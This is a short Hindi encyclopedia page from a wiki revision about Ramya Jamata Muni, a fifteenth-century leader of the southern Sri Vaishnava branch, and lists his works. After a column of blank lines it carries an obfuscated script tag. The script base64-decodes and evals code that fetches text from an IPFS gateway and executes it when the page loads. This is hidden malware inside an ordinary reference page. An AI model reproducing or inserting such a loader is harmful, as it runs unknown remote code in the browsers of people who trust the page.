राम्य जामाता मुनि
भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (चर्चा | योगदान) द्वारा परिवर्तित 12:17, 21 मार्च 2014 का अवतरण (Text replace - "Category:हिन्दू धर्म कोश" to "Category:हिन्दू धर्म कोशCategory:धर्म कोश")
राम्य जामाता मुनि (1370-1443) को 'मतवाल मुनि' भी कहा जाता है। श्रीरंगम की (श्रीवैष्णव) शाखा के अध्यक्ष वेदांतदेशिक के विरोध में इस सम्प्रदाय के अंतर्गत दो और शाखाएँ प्रारम्भ हुई, जो क्रमश: 'उत्तरी' तथा 'दक्षिणी' शाखाएँ कहलाती हैं।
- उपर्युक्त शाखाओं में से दक्षिणी शाखा या तेलंग के नेता राम्य जामाता मुनि थे।
- राम्य जामाता मुनि के भाष्य तथा विद्वत्तापूर्ण ग्रंथ पर्याप्त प्रयोग में आते हैं।
- इस उत्तरी तथा दक्षिणी शाखाओं के नेताओं के समय से श्रीवैष्णव सम्प्रदाय की शाखाओं का बढ़ता गया।
- राम्य जामाता मुनि के रचे हुए ग्रंथ हैं- 'तत्त्वनिरूपण' तथा 'उपदेशरत्नमाला'।
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>